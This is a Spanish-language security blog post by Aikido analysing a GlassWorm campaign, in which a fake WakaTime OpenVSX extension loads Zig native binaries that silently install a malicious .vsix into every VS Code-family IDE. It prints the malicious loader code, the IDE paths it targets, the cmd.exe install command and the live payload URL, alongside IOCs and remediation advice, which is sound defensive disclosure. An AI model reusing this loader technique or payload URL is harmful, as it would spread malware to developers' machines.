Aikido

GlassWorm se vuelve nativo: Nuevo dropper Zig infecta cada IDE en su máquina

Escrito por
Ilyas Makari

Hemos estado rastreando a GlassWorm durante más de un año. Apareció por primera vez en marzo de 2025, cuando Aikido Security descubrió paquetes npm maliciosos que ocultaban payloads dentro de caracteres Unicode invisibles. La campaña se ha expandido repetidamente desde entonces, comprometiendo cientos de proyectos en GitHub, npm y VS Code, y más recientemente entregando un RAT persistente a través de una extensión falsa de Chrome que registraba las pulsaciones de teclas y volcaba las cookies de sesión. El grupo sigue iterando y acaba de dar un salto significativo.

Observamos esta nueva técnica en una extensión de OpenVSX llamada code-wakatime-activity-tracker. La extensión suplanta a WakaTime, la popular herramienta de seguimiento del tiempo para desarrolladores, y distribuye un binario nativo compilado con Zig junto con su código JavaScript. Esta no es la primera vez que GlassWorm recurre al uso de código nativo compilado en extensiones. Sin embargo, en lugar de usar el binario como payload directamente, se utiliza como una redirección sigilosa para el conocido dropper de GlassWorm, que ahora infecta secretamente todos los demás IDEs que puede encontrar en su sistema.

El dropper: una extensión troyanizada

La extensión code-wakatime-activity-tracker, publicada en OpenVSX, es casi idéntica a la extensión legítima de WakaTime en la superficie: los mismos registros de comandos, las mismas solicitudes de clave API, los mismos iconos de la barra de estado. La divergencia ocurre en un solo lugar: la activate() función.

const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();

Antes de que se ejecute cualquier lógica de WakaTime, la extensión carga un binario nativo del ./bin/ directorio incluido con la extensión e inmediatamente llama a install(). win.node, una DLL PE32+. En macOS es mac.node, un Mach-O universal que cubre tanto x86_64 como arm64. Estos son complementos nativos de Node.js: bibliotecas compartidas compiladas que se cargan directamente en el entorno de ejecución de Node y se ejecutan fuera del sandbox de JavaScript con acceso completo a nivel del sistema operativo. Ambos están escritos en Zig. El binario de macOS fue compilado con los símbolos de depuración intactos, revelando una ruta de proyecto /Users/davidioasd/Downloads/vsx_installer_zig.

Infectando cada IDE en la máquina

Una vez cargado, el primer trabajo del binario es encontrar cada IDE instalado en la máquina que admita el formato de extensión de VS Code. Luego, instala silenciosamente una extensión maliciosa en cada uno que encuentra.

Windows (desde win.node):

%LOCALAPPDATA%\Programs\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programs\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programs\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programs\windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programs\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programs\Positron\resources\app\bin\positron.cmd
%ProgramFiles%\Microsoft VS Code\bin\code.cmd
%ProgramFiles%\Positron\resources\app\bin\positron.cmd

macOS (desde mac.node):

/Applications/Visual Studio Code.app/Contents/Resources/app/bin/code
/Applications/Visual Studio Code - Insiders.app/.../code-insiders
/Applications/Cursor.app/Contents/Resources/app/bin/cursor
/Applications/Windsurf.app/Contents/Resources/app/bin/windsurf
/Applications/VSCodium.app/Contents/Resources/app/bin/codium
/Applications/Positron.app/Contents/Resources/app/bin/positron

Este no es un ataque exclusivo de VS Code: cubre todo el ecosistema de editores que comparten el mismo sistema de extensiones: VS Code, VS Code Insiders, Cursor, Windsurf, VSCodium y Positron. Un desarrollador que utilice Cursor como su editor principal, pero con VS Code también instalado, encontraría ambos comprometidos.


Con la lista de IDEs creada, el binario obtiene un .vsix malicioso de una página de GitHub Releases controlada por el atacante:

https://github.com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix

El paquete suplanta a steoates.autoimport, una extensión legítima y popular de VS Code con millones de instalaciones. El archivo descargado .vsix se escribe en una ruta temporal y luego se instala silenciosamente en cada IDE encontrado en el paso anterior utilizando el instalador CLI propio de cada editor. En Windows, esto se ejecuta a través de cmd.exe:

cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"

Después de la instalación, cleanupVsix elimina el archivo descargado para borrar las pruebas.

La extensión de segunda etapa

El archivo .vsix forzado es el mismo GlassWorm dropper que hemos estado rastreando y analizando en profundidad. Establece geocercas en sistemas rusos, envía balizas a un C2 basado en la blockchain de Solana, y en nuestro análisis anterior descubrimos que realiza exfiltración de secretos e instala un RAT persistente, incluyendo una extensión maliciosa de Chrome.

Cómo Aikido detecta esto

Si ha instalado specstudio/code-wakatime-activity-tracker o ve floktokbok.autoimport en cualquiera de sus listas de extensiones de IDE, considere su máquina comprometida y rote cualquier secreto que haya podido ser accedido.

Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.

Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.

Para una cobertura más amplia en todo su equipo, el Endpoint Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, librerías de código, plugins de IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.

Para protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando los comandos npm, npx, yarn, pnpm y pnpx, y verificando los paquetes contra Aikido Intel antes de la instalación.

IOCs

Extensiones

  • specstudio/code-wakatime-activity-tracker (extensión OpenVSX troyanizada)
  • autoimport-2.7.9 (implante de segunda etapa en IDEs)

Archivos

  • win.node dentro del directorio ./bin/ de cualquier extensión de VS Code
    • SHA-256: 2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02
  • mac.node dentro del directorio ./bin/ de cualquier extensión de VS Code
    • SHA-256: 112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44

Red

  • https://github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix

Cadenas

  • vsx_installer_zig (nombre del proyecto Zig encontrado en el binario de macOS)
  • davidioasd (nombre de usuario encontrado en el binario de macOS)
Compartir:

https://www.aikido.dev/blog/glassworm-zig-dropper-infects-every-ide-on-your-machine

Suscríbete para recibir noticias

4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar
Escanee sus repositorios en busca de ataques GlassWorm

Con la confianza de 100 000 equipos

Empiece gratis

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.